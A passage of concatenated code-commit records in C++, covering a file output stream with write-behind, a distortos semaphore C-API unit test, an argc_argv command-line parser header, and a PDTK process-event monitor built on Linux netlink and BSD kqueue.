uint64_t _pos = 0;\n semaphore _write_behind_sem = { _options.write_behind };\n future<> _background_writes_done = make_ready_future<>();\n bool _failed = false;\npublic:\n file_data_sink_impl(file f, file_output_stream_options options)\n : _file(std::move(f)), _options(options) {}\n future<> put(net::packet data) { abort(); }\n virtual temporary_buffer<char> allocate_buffer(size_t size) override {\n return temporary_buffer<char>::aligned(_file.memory_dma_alignment(), size);\n }\n virtual future<> put(temporary_buffer<char> buf) override {\n uint64_t pos = _pos;\n _pos += buf.size();\n if (!_options.write_behind) {\n return do_put(pos, std::move(buf));\n }\n \/\/ Write behind strategy:\n \/\/\n \/\/ 1. Issue N writes in parallel, using a semaphore to limit to N\n \/\/ 2. Collect results in _background_writes_done, merging exception futures\n \/\/ 3. If we've already seen a failure, don't issue more writes.\n return _write_behind_sem.wait().then([this, pos, buf = std::move(buf)] () mutable {\n if (_failed) {\n _write_behind_sem.signal();\n auto ret = std::move(_background_writes_done);\n _background_writes_done = make_ready_future<>();\n return ret;\n }\n auto this_write_done = do_put(pos, std::move(buf)).finally([this] {\n _write_behind_sem.signal();\n });\n _background_writes_done = when_all(std::move(_background_writes_done), std::move(this_write_done))\n .then([this] (std::tuple<future<>, future<>> possible_errors) {\n \/\/ merge the two errors, preferring the first\n auto& e1 = std::get<0>(possible_errors);\n auto& e2 = std::get<1>(possible_errors);\n if (e1.failed()) {\n e2.ignore_ready_future();\n return std::move(e1);\n } else {\n if (e2.failed()) {\n _failed = true;\n }\n return std::move(e2);\n }\n });\n return make_ready_future<>();\n });\n }\npublic:\n future<> do_put(uint64_t pos, temporary_buffer<char> buf) noexcept {\n try {\n \/\/ put() must usually be of chunks multiple of file::dma_alignment.\n \/\/ Only the last part can have an unaligned length. If put() was\n \/\/ called again with an unaligned pos, we have a bug in the caller.\n assert(!(pos & (_file.disk_write_dma_alignment() - 1)));\n bool truncate = false;\n auto p = static_cast<const char*>(buf.get());\n size_t buf_size = buf.size();\n\n if ((buf.size() & (_file.disk_write_dma_alignment() - 1)) != 0) {\n \/\/ If buf size isn't aligned, copy its content into a new aligned buf.\n \/\/ This should only happen when the user calls output_stream::flush().\n auto tmp = allocate_buffer(align_up(buf.size(), _file.disk_write_dma_alignment()));\n ::memcpy(tmp.get_write(), buf.get(), buf.size());\n buf = std::move(tmp);\n p = buf.get();\n buf_size = buf.size();\n truncate = true;\n }\n\n return _file.dma_write(pos, p, buf_size, _options.io_priority_class).then(\n [this, buf = std::move(buf), truncate] (size_t size) {\n if (truncate) {\n return _file.truncate(_pos);\n }\n return make_ready_future<>();\n });\n } catch (...) {\n return make_exception_future<>(std::current_exception());\n }\n }\n future<> wait() {\n \/\/ restore to pristine state; for flush() + close() sequence\n \/\/ (we allow either flush, or close, or both)\n return _write_behind_sem.wait(_options.write_behind).then([this] {\n return std::exchange(_background_writes_done, make_ready_future<>());\n }).finally([this] {\n _write_behind_sem.signal(_options.write_behind);\n });\n }\npublic:\n virtual future<> flush() override {\n return wait().then([this] {\n return _file.flush();\n });\n }\n virtual future<> close() {\n return wait().then([this] {\n return _file.close();\n });\n }\n};\n\nclass file_data_sink : public data_sink {\npublic:\n file_data_sink(file f, file_output_stream_options options)\n : data_sink(std::make_unique<file_data_sink_impl>(\n std::move(f), options)) {}\n};\n\noutput_stream<char> make_file_output_stream(file f, size_t buffer_size) {\n file_output_stream_options options;\n options.buffer_size = buffer_size;\n return make_file_output_stream(std::move(f), options);\n}\n\noutput_stream<char> make_file_output_stream(file f, file_output_stream_options options) {\n return output_stream<char>(file_data_sink(std::move(f), options), options.buffer_size, true);\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/**\n * \\file\n * \\brief Semaphore C-API test cases\n *\n * \\author Copyright (C) 2017 Kamil Szczygiel http:\/\/www.distortec.com http:\/\/www.freddiechopin.info\n *\n * \\par License\n * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not\n * distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include \"distortos\/Semaphore.hpp\"\n#include \"distortos\/C-API\/Semaphore.h\"\n\nnamespace\n{\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\nvoid testCommon(distortos_Semaphore& semaphore, const unsigned int value, const unsigned int maxValue = UINT_MAX)\n{\n\tREQUIRE(semaphore.value == std::min(value, maxValue));\n\tREQUIRE(semaphore.maxValue == maxValue);\n\tdistortos_Semaphore constructed;\n\tmemcpy(&constructed, &semaphore, sizeof(semaphore));\n\tREQUIRE(distortos_Semaphore_destruct(&semaphore) == 0);\n\tstruct distortos_Semaphore destructed;\n\tmemcpy(&destructed, &semaphore, sizeof(semaphore));\n\n\tmemset(&semaphore, 0, sizeof(semaphore));\n\n\tconst auto realSemaphore = new (&semaphore) distortos::Semaphore {value, maxValue};\n\tREQUIRE(realSemaphore->getValue() == std::min(value, maxValue));\n\tREQUIRE(memcmp(&constructed, &semaphore, sizeof(semaphore)) == 0);\n\trealSemaphore->~Semaphore();\n\tREQUIRE(memcmp(&destructed, &semaphore, sizeof(semaphore)) == 0);\n}\n\n}\t\/\/ namespace\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| global test cases\n+---------------------------------------------------------------------------------------------------------------------*\/\n\nTEST_CASE(\"Testing DISTORTOS_SEMAPHORE_INITIALIZER()\", \"[initializer]\")\n{\n\tconstexpr unsigned int lowRandomValue {0x2c380555};\n\tconstexpr unsigned int highRandomValue {0x8d87de63};\n\n\t{\n\t\tdistortos_Semaphore semaphore = DISTORTOS_SEMAPHORE_INITIALIZER(semaphore, lowRandomValue, highRandomValue);\n\t\ttestCommon(semaphore, lowRandomValue, highRandomValue);\n\t}\n\t{\n\t\tdistortos_Semaphore semaphore = DISTORTOS_SEMAPHORE_INITIALIZER(semaphore, highRandomValue, lowRandomValue);\n\t\ttestCommon(semaphore, highRandomValue, lowRandomValue);\n\t}\n}\n\nTEST_CASE(\"Testing DISTORTOS_SEMAPHORE_CONSTRUCT_1()\", \"[construct]\")\n{\n\tconstexpr unsigned int lowRandomValue {0x0dc449b6};\n\tconstexpr unsigned int highRandomValue {0x726030cd};\n\n\t{\n\t\tDISTORTOS_SEMAPHORE_CONSTRUCT_1(semaphore, lowRandomValue, highRandomValue);\n\t\ttestCommon(semaphore, lowRandomValue, highRandomValue);\n\t}\n\t{\n\t\tDISTORTOS_SEMAPHORE_CONSTRUCT_1(semaphore, highRandomValue, lowRandomValue);\n\t\ttestCommon(semaphore, highRandomValue, lowRandomValue);\n\t}\n}\n\nTEST_CASE(\"Testing DISTORTOS_SEMAPHORE_CONSTRUCT()\", \"[construct]\")\n{\n\tconstexpr unsigned int randomValue {0x5d0051dc};\n\n\t{\n\t\tDISTORTOS_SEMAPHORE_CONSTRUCT(semaphore, randomValue);\n\t\ttestCommon(semaphore, randomValue);\n\t}\n}\n\nTEST_CASE(\"Testing distortos_Semaphore_construct_1()\", \"[construct]\")\n{\n\tconstexpr unsigned int lowRandomValue {0x7a78032b};\n\tconstexpr unsigned int highRandomValue {0xb24e4367};\n\n\t{\n\t\tdistortos_Semaphore semaphore;\n\t\tREQUIRE(distortos_Semaphore_construct_1(&semaphore, lowRandomValue, highRandomValue) == 0);\n\t\ttestCommon(semaphore, lowRandomValue, highRandomValue);\n\t}\n\t{\n\t\tdistortos_Semaphore semaphore;\n\t\tREQUIRE(distortos_Semaphore_construct_1(&semaphore, highRandomValue, lowRandomValue) == 0);\n\t\ttestCommon(semaphore, highRandomValue, lowRandomValue);\n\t}\n}\n\nTEST_CASE(\"Testing distortos_Semaphore_construct()\", \"[construct]\")\n{\n\tconstexpr unsigned int randomValue {0xb86c251b};\n\n\t{\n\t\tdistortos_Semaphore semaphore;\n\t\tREQUIRE(distortos_Semaphore_construct(&semaphore, randomValue) == 0);\n\t\ttestCommon(semaphore, randomValue);\n\t}\n}\n<commit_msg>Add file comment explaining purpose of C-API-Semaphore-unit-test-1<commit_after>\/**\n * \\file\n * \\brief Semaphore C-API test cases\n *\n * This test checks whether semaphore objects instantiated with C-API macros and functions are binary identical to\n * constructed distortos::Semaphore objects.\n *\n * \\author Copyright (C) 2017 Kamil Szczygiel http:\/\/www.distortec.com http:\/\/www.freddiechopin.info\n *\n * \\par License\n * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not\n * distributed with this file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include \"distortos\/Semaphore.hpp\"\n#include \"distortos\/C-API\/Semaphore.h\"\n\nnamespace\n{\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| local functions\n+---------------------------------------------------------------------------------------------------------------------*\/\n\nvoid testCommon(distortos_Semaphore& semaphore, const unsigned int value, const unsigned int maxValue = UINT_MAX)\n{\n\tREQUIRE(semaphore.value == std::min(value, maxValue));\n\tREQUIRE(semaphore.maxValue == maxValue);\n\tdistortos_Semaphore constructed;\n\tmemcpy(&constructed, &semaphore, sizeof(semaphore));\n\tREQUIRE(distortos_Semaphore_destruct(&semaphore) == 0);\n\tstruct distortos_Semaphore destructed;\n\tmemcpy(&destructed, &semaphore, sizeof(semaphore));\n\n\tmemset(&semaphore, 0, sizeof(semaphore));\n\n\tconst auto realSemaphore = new (&semaphore) distortos::Semaphore {value, maxValue};\n\tREQUIRE(realSemaphore->getValue() == std::min(value, maxValue));\n\tREQUIRE(memcmp(&constructed, &semaphore, sizeof(semaphore)) == 0);\n\trealSemaphore->~Semaphore();\n\tREQUIRE(memcmp(&destructed, &semaphore, sizeof(semaphore)) == 0);\n}\n\n}\t\/\/ namespace\n\n\/*---------------------------------------------------------------------------------------------------------------------+\n| global test cases\n+---------------------------------------------------------------------------------------------------------------------*\/\n\nTEST_CASE(\"Testing DISTORTOS_SEMAPHORE_INITIALIZER()\", \"[initializer]\")\n{\n\tconstexpr unsigned int lowRandomValue {0x2c380555};\n\tconstexpr unsigned int highRandomValue {0x8d87de63};\n\n\t{\n\t\tdistortos_Semaphore semaphore = DISTORTOS_SEMAPHORE_INITIALIZER(semaphore, lowRandomValue, highRandomValue);\n\t\ttestCommon(semaphore, lowRandomValue, highRandomValue);\n\t}\n\t{\n\t\tdistortos_Semaphore semaphore = DISTORTOS_SEMAPHORE_INITIALIZER(semaphore, highRandomValue, lowRandomValue);\n\t\ttestCommon(semaphore, highRandomValue, lowRandomValue);\n\t}\n}\n\nTEST_CASE(\"Testing DISTORTOS_SEMAPHORE_CONSTRUCT_1()\", \"[construct]\")\n{\n\tconstexpr unsigned int lowRandomValue {0x0dc449b6};\n\tconstexpr unsigned int highRandomValue {0x726030cd};\n\n\t{\n\t\tDISTORTOS_SEMAPHORE_CONSTRUCT_1(semaphore, lowRandomValue, highRandomValue);\n\t\ttestCommon(semaphore, lowRandomValue, highRandomValue);\n\t}\n\t{\n\t\tDISTORTOS_SEMAPHORE_CONSTRUCT_1(semaphore, highRandomValue, lowRandomValue);\n\t\ttestCommon(semaphore, highRandomValue, lowRandomValue);\n\t}\n}\n\nTEST_CASE(\"Testing DISTORTOS_SEMAPHORE_CONSTRUCT()\", \"[construct]\")\n{\n\tconstexpr unsigned int randomValue {0x5d0051dc};\n\n\t{\n\t\tDISTORTOS_SEMAPHORE_CONSTRUCT(semaphore, randomValue);\n\t\ttestCommon(semaphore, randomValue);\n\t}\n}\n\nTEST_CASE(\"Testing distortos_Semaphore_construct_1()\", \"[construct]\")\n{\n\tconstexpr unsigned int lowRandomValue {0x7a78032b};\n\tconstexpr unsigned int highRandomValue {0xb24e4367};\n\n\t{\n\t\tdistortos_Semaphore semaphore;\n\t\tREQUIRE(distortos_Semaphore_construct_1(&semaphore, lowRandomValue, highRandomValue) == 0);\n\t\ttestCommon(semaphore, lowRandomValue, highRandomValue);\n\t}\n\t{\n\t\tdistortos_Semaphore semaphore;\n\t\tREQUIRE(distortos_Semaphore_construct_1(&semaphore, highRandomValue, lowRandomValue) == 0);\n\t\ttestCommon(semaphore, highRandomValue, lowRandomValue);\n\t}\n}\n\nTEST_CASE(\"Testing distortos_Semaphore_construct()\", \"[construct]\")\n{\n\tconstexpr unsigned int randomValue {0xb86c251b};\n\n\t{\n\t\tdistortos_Semaphore semaphore;\n\t\tREQUIRE(distortos_Semaphore_construct(&semaphore, randomValue) == 0);\n\t\ttestCommon(semaphore, randomValue);\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include <stdexcept>\n#include <string>\n#include <vector>\n#include <initializer_list>\n#include <memory>\n\n\/\/ ----------------------------------------------------------------------\n\nclass argc_argv\n{\n public:\n class option_not_found : public std::runtime_error { public: using std::runtime_error::runtime_error; };\n class argument_not_found : public std::runtime_error { public: using std::runtime_error::runtime_error; };\n class option_has_no_value : public std::runtime_error { public: using std::runtime_error::runtime_error; };\n class option_value_conversion_failed : public std::runtime_error { public: using std::runtime_error::runtime_error; };\n\n class option\n {\n public:\n virtual ~option();\n\n \/\/ if option was present in the command line\n virtual operator bool() const;\n\n \/\/ argument extraction, throws option_not_found, option_has_no_value, option_value_conversion_failed\n virtual operator const char*() const;\n \/\/ virtual operator std::string() const;\n virtual operator double() const;\n virtual operator int() const;\n\n protected:\n inline option(std::string name, const char* value = nullptr) : mName{name}, mValue{value} {}\n friend class argc_argv;\n\n inline std::string name() const { return mName; }\n inline void set_value(const char* aValue) { mValue = aValue; }\n virtual bool really_present() const;\n\n private:\n std::string mName;\n const char* mValue;\n\n }; \/\/ class option\n\n \/\/ options_with_value: list of option names that have values, e.g. {\"-o\", \"--output\"}\n \/\/ may throw option_has_no_value if last value in argv is option from options_with_value\n argc_argv(int argc, const char* const argv[], std::initializer_list<const char*> options_with_value, bool split_single_dash = true);\n\n \/\/ returns option by name, if option was not in argv, returns ref to special option object\n const option& operator[](std::string aName) const;\n\n \/\/ returns option by name, if option was not in argv, returns ref to an option object having aDefault as a value\n const option& get(std::string aName, std::string aDefault) const;\n const option& get(std::string aName, double aDefault) const;\n const option& get(std::string aName, int aDefault) const;\n\n \/\/ returns number of arguments in the command line that are neither options nor option values\n inline size_t number_of_arguments() const { return mArguments.size(); }\n\n \/\/ returns argument (neither option nor option value) by index, throws argument_not_found if aIndex >= number_of_arguments()\n const char* operator[](size_t aIndex) const;\n\n \/\/ returns argv[0]\n inline const char* program() const { return mProgram; }\n\n private:\n const std::vector<const char*> mOptionsWithValue;\n const char* mProgram;\n std::vector<const char*> mArguments;\n mutable std::vector<std::unique_ptr<option>> mOptions;\n\n const option& get(std::string aName) const;\n\n}; \/\/ class argc_argv\n\n\/\/ ----------------------------------------------------------------------\n\/\/\/ Local Variables:\n\/\/\/ eval: (if (fboundp 'eu-rename-buffer) (eu-rename-buffer))\n\/\/\/ End:\n<commit_msg>minor improvement<commit_after>#pragma once\n\n#include <stdexcept>\n#include <string>\n#include <vector>\n#include <initializer_list>\n#include <memory>\n\n\/\/ ----------------------------------------------------------------------\n\nclass argc_argv\n{\n public:\n class option_not_found : public std::runtime_error { public: using std::runtime_error::runtime_error; };\n class argument_not_found : public std::runtime_error { public: using std::runtime_error::runtime_error; };\n class option_has_no_value : public std::runtime_error { public: using std::runtime_error::runtime_error; };\n class option_value_conversion_failed : public std::runtime_error { public: using std::runtime_error::runtime_error; };\n\n class option\n {\n public:\n virtual ~option();\n\n \/\/ if option was present in the command line\n virtual operator bool() const;\n\n \/\/ argument extraction, throws option_not_found, option_has_no_value, option_value_conversion_failed\n virtual operator const char*() const;\n inline operator std::string() const { return operator const char*(); }\n virtual operator double() const;\n virtual operator int() const;\n\n protected:\n inline option(std::string name, const char* value = nullptr) : mName{name}, mValue{value} {}\n friend class argc_argv;\n\n inline std::string name() const { return mName; }\n inline void set_value(const char* aValue) { mValue = aValue; }\n virtual bool really_present() const;\n\n private:\n std::string mName;\n const char* mValue;\n\n }; \/\/ class option\n\n \/\/ options_with_value: list of option names that have values, e.g. {\"-o\", \"--output\"}\n \/\/ may throw option_has_no_value if last value in argv is option from options_with_value\n argc_argv(int argc, const char* const argv[], std::initializer_list<const char*> options_with_value, bool split_single_dash = true);\n\n \/\/ returns option by name, if option was not in argv, returns ref to special option object\n const option& operator[](std::string aName) const;\n\n \/\/ returns option by name, if option was not in argv, returns ref to an option object having aDefault as a value\n const option& get(std::string aName, std::string aDefault) const;\n const option& get(std::string aName, double aDefault) const;\n const option& get(std::string aName, int aDefault) const;\n\n \/\/ returns number of arguments in the command line that are neither options nor option values\n inline size_t number_of_arguments() const { return mArguments.size(); }\n\n \/\/ returns argument (neither option nor option value) by index, throws argument_not_found if aIndex >= number_of_arguments()\n const char* operator[](size_t aIndex) const;\n\n \/\/ returns argv[0]\n inline const char* program() const { return mProgram; }\n\n private:\n const std::vector<const char*> mOptionsWithValue;\n const char* mProgram;\n std::vector<const char*> mArguments;\n mutable std::vector<std::unique_ptr<option>> mOptions;\n\n const option& get(std::string aName) const;\n\n}; \/\/ class argc_argv\n\n\/\/ ----------------------------------------------------------------------\n\/\/\/ Local Variables:\n\/\/\/ eval: (if (fboundp 'eu-rename-buffer) (eu-rename-buffer))\n\/\/\/ End:\n<|endoftext|>"} {"text":"<commit_before>#include \"ProcessEvent.h\"\n\n#include <specialized\/eventbackend.h>\n\n#if defined(__linux__)\n#include <linux\/version.h>\n#elif !defined(KERNEL_VERSION)\n#define LINUX_VERSION_CODE 0\n#define KERNEL_VERSION(a, b, c) 0\n#endif\n\n#if defined(__linux__) && LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,15) \/* Linux 2.6.15+ *\/\n\n\/\/ Linux\n#include <linux\/netlink.h>\n#include <linux\/connector.h>\n#include <linux\/cn_proc.h>\n\n\/\/ PDTK\n#include <cxxutils\/posix_helpers.h>\n#include <cxxutils\/socket_helpers.h>\n#include <cxxutils\/vterm.h>\n#include <specialized\/procstat.h>\n\nenum {\n Read = 0,\n Write = 1,\n};\n\nstruct message_t\n{\n union {\n ProcessEvent::Flags action;\n uint32_t : 0;\n };\n pid_t pid;\n};\nstatic_assert(sizeof(message_t) == sizeof(uint64_t), \"unexpected struct size\");\n\n\/\/ process flags\nstatic constexpr uint8_t from_native_flags(const native_flags_t flags) noexcept\n{\n return\n (flags & proc_event::PROC_EVENT_EXEC ? ProcessEvent::Exec : 0) |\n (flags & proc_event::PROC_EVENT_EXIT ? ProcessEvent::Exit : 0) |\n (flags & proc_event::PROC_EVENT_FORK ? ProcessEvent::Fork : 0) ;\n}\n\/*\nstatic constexpr native_flags_t to_native_flags(const uint8_t flags) noexcept\n{\n return\n (flags & ProcessEvent::Exec ? native_flags_t(proc_event::PROC_EVENT_EXEC) : 0) | \/\/ Process called exec*()\n (flags & ProcessEvent::Exit ? native_flags_t(proc_event::PROC_EVENT_EXIT) : 0) | \/\/ Process exited\n (flags & ProcessEvent::Fork ? native_flags_t(proc_event::PROC_EVENT_FORK) : 0) ; \/\/ Process forked\n}\n*\/\n\nstruct ProcessEvent::platform_dependant \/\/ process notification (process events connector)\n{\n posix::fd_t fd;\n struct eventinfo_t\n {\n posix::fd_t fd[2]; \/\/ two fds for pipe based communication\n ProcessEvent::Flags_t flags;\n };\n\n std::unordered_map<pid_t, eventinfo_t> events;\n\n platform_dependant(void) noexcept\n {\n fd = posix::socket(EDomain::netlink, EType::datagram, EProtocol::connector);\n flaw(fd == posix::invalid_descriptor,\n terminal::warning,,,\n \"Unable to open a netlink socket for Process Events Connector: %s\", std::strerror(errno))\n\n sockaddr_nl sa_nl;\n sa_nl.nl_family = PF_NETLINK;\n sa_nl.nl_groups = CN_IDX_PROC;\n sa_nl.nl_pid = uint32_t(getpid());\n\n flaw(!posix::bind(fd, reinterpret_cast<struct sockaddr *>(&sa_nl), sizeof(sa_nl)),\n terminal::warning,,,\n \"Process Events Connector requires root level access: %s\", std::strerror(errno));\n\n#pragma pack(push, 1)\n struct alignas(NLMSG_ALIGNTO) procconn_t \/\/ 32-bit alignment\n {\n nlmsghdr header; \/\/ 16 bytes\n cn_msg message;\n proc_cn_mcast_op operation;\n } procconn;\n#pragma pack(pop)\n static_assert(sizeof(nlmsghdr) + sizeof(cn_msg) + sizeof(proc_cn_mcast_op) == sizeof(procconn_t), \"compiler needs to pack struct\");\n\n std::memset(&procconn, 0, sizeof(procconn));\n procconn.header.nlmsg_len = sizeof(procconn);\n procconn.header.nlmsg_pid = uint32_t(getpid());\n procconn.header.nlmsg_type = NLMSG_DONE;\n procconn.message.id.idx = CN_IDX_PROC;\n procconn.message.id.val = CN_VAL_PROC;\n procconn.message.len = sizeof(proc_cn_mcast_op);\n procconn.operation = PROC_CN_MCAST_LISTEN;\n\n flaw(posix::send(fd, &procconn, sizeof(procconn)) == posix::error_response,\n terminal::warning,,,\n \"Failed to enable Process Events Connector notifications: %s\", std::strerror(errno));\n\n EventBackend::add(fd, EventBackend::SimplePollReadFlags,\n [this](posix::fd_t lambda_fd, native_flags_t) noexcept { read(lambda_fd); });\n\n std::fprintf(stderr, \"%s%s\\n\", terminal::information, \"Process Events Connector active\");\n }\n\n ~platform_dependant(void) noexcept\n {\n EventBackend::remove(fd, EventBackend::SimplePollReadFlags);\n posix::close(fd);\n fd = posix::invalid_descriptor;\n }\n\n posix::fd_t add(pid_t pid, ProcessEvent::Flags_t flags) noexcept\n {\n eventinfo_t event;\n event.flags = flags;\n if(!posix::pipe(event.fd))\n return posix::invalid_descriptor;\n\n auto iter = events.emplace(pid, event);\n\n \/\/ add filter installation code here\n\n return event.fd[Read];\n }\n\n bool remove(pid_t pid) noexcept\n {\n auto iter = events.find(pid);\n if(iter == events.end())\n return false;\n\n \/\/ add filter removal code here\n\n posix::close(iter->second.fd[Read]);\n posix::close(iter->second.fd[Write]);\n events.erase(iter);\n return true;\n }\n\n void read(posix::fd_t procfd) noexcept\n {\n#pragma pack(push, 1)\n struct alignas(NLMSG_ALIGNTO) procmsg_t \/\/ 32-bit alignment\n {\n nlmsghdr header; \/\/ 16 bytes\n cn_msg message;\n proc_event event;\n } procmsg;\n#pragma pack(pop)\n static_assert(sizeof(nlmsghdr) + sizeof(cn_msg) + sizeof(proc_event) == sizeof(procmsg_t), \"compiler needs to pack struct\");\n\n pollfd fds = { procfd, POLLIN, 0 };\n while(posix::poll(&fds, 1, 0) > 0 && \/\/ while there are messages AND\n posix::recv(procfd, reinterpret_cast<void*>(&procmsg), sizeof(procmsg_t), 0) > 0) \/\/ read process event message\n {\n auto iter = events.find(procmsg.event.event_data.id.process_pid); \/\/ find event info for this PID\n if(iter != events.end()) \/\/ if found...\n posix::write(iter->second.fd[Write], &procmsg.event, sizeof(procmsg.event)); \/\/ write process event info into the communications pipe\n }\n }\n} ProcessEvent::s_platform;\n\nProcessEvent::ProcessEvent(pid_t _pid, Flags_t _flags) noexcept\n : m_pid(_pid), m_flags(_flags), m_fd(posix::invalid_descriptor)\n{\n m_fd = s_platform.add(m_pid, m_flags); \/\/ add PID to monitor and return communications pipe\n\n EventBackend::add(m_fd, EventBackend::SimplePollReadFlags, \/\/ connect communications pipe to a lambda function\n [this](posix::fd_t lambda_fd, native_flags_t) noexcept\n {\n proc_event data;\n pollfd fds = { lambda_fd, POLLIN, 0 };\n while(posix::poll(&fds, 1, 0) > 0 && \/\/ while there is another event to be read\n posix::read(lambda_fd, &data, sizeof(data)) > 0) \/\/ read the event\n switch(from_native_flags(data.what)) \/\/ find the type of event\n {\n case Flags::Exec: \/\/ queue exec signal with PID\n Object::enqueue(execed,\n data.event_data.exec.process_pid);\n break;\n case Flags::Exit: \/\/ queue exit signal with PID and exit code\n if(data.event_data.exit.exit_signal) \/\/ if killed by a signal\n Object::enqueue(killed,\n data.event_data.exit.process_pid,\n *reinterpret_cast<posix::signal::EId*>(&data.event_data.exit.exit_signal));\n else \/\/ else exited by itself\n Object::enqueue(exited,\n data.event_data.exit.process_pid,\n *reinterpret_cast<posix::error_t*>(&data.event_data.exit.exit_code));\n break;\n case Flags::Fork: \/\/ queue fork signal with PID and child PID\n Object::enqueue(forked,\n data.event_data.fork.parent_pid,\n data.event_data.fork.child_pid);\n break;\n }\n });\n}\n\n\nProcessEvent::~ProcessEvent(void) noexcept\n{\n EventBackend::remove(m_fd, EventBackend::SimplePollReadFlags);\n s_platform.remove(m_pid);\n}\n#elif defined(__linux__)\n\/\/&& LINUX_VERSION_CODE >= KERNEL_VERSION(X,X,X) \/* Linux X.X.X+ *\/\n# error No process event backend code exists in PDTK for Linux before version 2.6.15! Please submit a patch!\n\n#elif (defined(__APPLE__) && defined(__MACH__)) \/* Darwin 7+ *\/ || \\\n defined(__FreeBSD__) \/* FreeBSD 4.1+ *\/ || \\\n defined(__DragonFly__) \/* DragonFly BSD *\/ || \\\n defined(__OpenBSD__) \/* OpenBSD 2.9+ *\/ || \\\n defined(__NetBSD__) \/* NetBSD 2+ *\/\n\n#include <sys\/event.h> \/\/ kqueue\n\nstatic constexpr native_flags_t composite_flag(uint16_t actions, int16_t filters, uint32_t flags) noexcept\n { return native_flags_t(actions) | (native_flags_t(uint16_t(filters)) << 16) | (native_flags_t(flags) << 32); }\n\nstatic constexpr bool flag_subset(native_flags_t flags, native_flags_t subset)\n { return (flags & subset) == subset; }\n\nstatic constexpr native_flags_t to_native_flags(const uint8_t flags) noexcept\n{\n return\n (flags & ProcessEvent::Exec ? composite_flag(0, EVFILT_PROC, NOTE_EXEC) : 0) |\n (flags & ProcessEvent::Exit ? composite_flag(0, EVFILT_PROC, NOTE_EXIT) : 0) |\n (flags & ProcessEvent::Fork ? composite_flag(0, EVFILT_PROC, NOTE_FORK) : 0) ;\n}\n\nstatic constexpr ushort extract_filter(native_flags_t flags) noexcept\n { return (flags >> 16) & 0xFFFF; }\n\nstatic constexpr uint32_t extract_flags(native_flags_t flags) noexcept\n { return flags >> 32; }\n\nProcessEvent::ProcessEvent(pid_t _pid, Flags_t _flags) noexcept\n : m_pid(_pid), m_flags(_flags), m_fd(posix::invalid_descriptor)\n{\n EventBackend::add(m_pid, to_native_flags(m_flags), \/\/ connect PID event to lambda function\n [this](posix::fd_t lambda_fd, native_flags_t lambda_flags) noexcept\n {\n uint32_t data = extract_flags(lambda_fd); \/\/ get return value (if any)\n switch(extract_filter(lambda_fd)) \/\/ switch by filtered event type\n {\n case Flags::Exec: \/\/ queue exec signal with PID\n Object::enqueue(execed, m_pid);\n break;\n case Flags::Exit: \/\/ queue exit signal with PID and exit code\n Object::enqueue(exited, m_pid,\n *reinterpret_cast<posix::error_t*>(&data));\n break;\n case Flags::Fork: \/\/ queue fork signal with PID and child PID\n Object::enqueue(forked, m_pid,\n *reinterpret_cast<pid_t*>(&data));\n break;\n }\n });\n}\n\nProcessEvent::~ProcessEvent(void) noexcept\n{\n EventBackend::remove(m_pid, to_native_flags(m_flags)); \/\/ disconnect PID with flags\n}\n\n#elif defined(__sun) && defined(__SVR4) \/\/ Solaris \/ OpenSolaris \/ OpenIndiana \/ illumos\n# error No process event backend code exists in PDTK for Solaris \/ OpenSolaris \/ OpenIndiana \/ illumos! Please submit a patch!\n\n#elif defined(__minix) \/\/ MINIX\n# error No process event backend code exists in PDTK for MINIX! Please submit a patch!\n\n#elif defined(__QNX__) \/\/ QNX\n\/\/ QNX docs: http:\/\/www.qnx.com\/developers\/docs\/7.0.0\/index.html#com.qnx.doc.neutrino.devctl\/topic\/about.html\n# error No process event backend code exists in PDTK for QNX! Please submit a patch!\n\n#elif defined(__hpux) \/\/ HP-UX\n# error No process event backend code exists in PDTK for HP-UX! Please submit a patch!\n\n#elif defined(_AIX) \/\/ IBM AIX\n# error No process event backend code exists in PDTK for IBM AIX! Please submit a patch!\n\n#elif defined(BSD)\n# error Unrecognized BSD derivative!\n\n#elif defined(__unix__) || defined(__unix)\n# error Unrecognized UNIX variant!\n\n#else\n# error This platform is not supported.\n#endif\n<commit_msg>use copies for simple types<commit_after>#include \"ProcessEvent.h\"\n\n#include <specialized\/eventbackend.h>\n\n#if defined(__linux__)\n#include <linux\/version.h>\n#elif !defined(KERNEL_VERSION)\n#define LINUX_VERSION_CODE 0\n#define KERNEL_VERSION(a, b, c) 0\n#endif\n\n#if defined(__linux__) && LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,15) \/* Linux 2.6.15+ *\/\n\n\/\/ Linux\n#include <linux\/netlink.h>\n#include <linux\/connector.h>\n#include <linux\/cn_proc.h>\n\n\/\/ PDTK\n#include <cxxutils\/posix_helpers.h>\n#include <cxxutils\/socket_helpers.h>\n#include <cxxutils\/vterm.h>\n#include <specialized\/procstat.h>\n\nenum {\n Read = 0,\n Write = 1,\n};\n\nstruct message_t\n{\n union {\n ProcessEvent::Flags action;\n uint32_t : 0;\n };\n pid_t pid;\n};\nstatic_assert(sizeof(message_t) == sizeof(uint64_t), \"unexpected struct size\");\n\n\/\/ process flags\nstatic constexpr uint8_t from_native_flags(const native_flags_t flags) noexcept\n{\n return\n (flags & proc_event::PROC_EVENT_EXEC ? ProcessEvent::Exec : 0) |\n (flags & proc_event::PROC_EVENT_EXIT ? ProcessEvent::Exit : 0) |\n (flags & proc_event::PROC_EVENT_FORK ? ProcessEvent::Fork : 0) ;\n}\n\/*\nstatic constexpr native_flags_t to_native_flags(const uint8_t flags) noexcept\n{\n return\n (flags & ProcessEvent::Exec ? native_flags_t(proc_event::PROC_EVENT_EXEC) : 0) | \/\/ Process called exec*()\n (flags & ProcessEvent::Exit ? native_flags_t(proc_event::PROC_EVENT_EXIT) : 0) | \/\/ Process exited\n (flags & ProcessEvent::Fork ? native_flags_t(proc_event::PROC_EVENT_FORK) : 0) ; \/\/ Process forked\n}\n*\/\n\nstruct ProcessEvent::platform_dependant \/\/ process notification (process events connector)\n{\n posix::fd_t fd;\n struct eventinfo_t\n {\n posix::fd_t 